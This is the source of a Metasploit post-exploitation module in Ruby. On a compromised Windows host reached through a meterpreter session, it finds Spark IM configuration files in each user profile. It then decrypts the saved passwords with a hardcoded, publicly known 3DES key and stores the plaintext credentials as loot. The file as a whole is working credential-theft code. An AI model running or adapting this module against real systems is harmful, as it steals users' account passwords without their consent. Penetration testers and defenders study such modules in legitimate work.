metasploit-framework/modules/post/windows/gather/credentials/spark_im.rb

125 lines
3.2 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/user_profiles'
require 'openssl'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather Spark IM Password Extraction',
'Description' => %q{
This module will enumerate passwords stored by the Spark IM client.
The encryption key is publicly known. This module will not only extract encrypted
password but will also decrypt password using public key.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>',
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
[ 'URL', 'http://adamcaudill.com/2012/07/27/decrypting-spark-saved-passwords/']
]
))
end
# decrypt spark password
def decrypt(hash)
# code to decrypt hash with KEY
encrypted = hash.unpack("m")[0]
key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae".unpack("m")[0]
cipher = OpenSSL::Cipher::Cipher.new 'des-ede3'
cipher.decrypt
cipher.key = key
password = cipher.update encrypted
password << cipher.final
password = ::Rex::Text.to_utf8(password)
user, pass = password.scan(/[[:print:]]+/)
if pass.nil? or pass.empty?
print_status("Username found: #{user}, but no password")
pass = ''
else
print_good("Decrypted Username #{user} Password: #{pass}")
end
store_creds(user, pass)
end
def store_creds(user, pass)
if db
report_auth_info(
:host => client.sock.peerhost,
:port => 5222,
:ptype => 'password',
:sname => 'spark',
:user => user,
:pass => pass,
:duplicate_ok => true,
:active => true
)
print_status("Loot stored in the db")
end
end
# main control method
def run
grab_user_profiles().each do |user|
unless user['AppData'].nil?
accounts = user['AppData'] + "\\Spark\\spark.properties"
# open the file for reading
config = client.fs.file.new(accounts, 'r') rescue nil
next if config.nil?
print_status("Config found for user #{user['UserName']}")
# read the contents of file
contents = config.read
# look for lines containing string 'password'
password = contents.split("\n").grep(/password/)
if password.nil?
# file doesn't contain a password
print_status("#{file} does not contain any saved passwords")
# close file and return
config.close
return
end
# store the hash close the file
password = password.delete_if {|e| e !~ /password.+=.+=\r/}
password.each do | pass |
if pass.nil?
next
end
hash = pass.split("password").join.chomp
print_status("Spark password hash: #{hash}") if datastore['VERBOSE']
# call method to decrypt hash
decrypt(hash)
end
config.close
end
end
end
end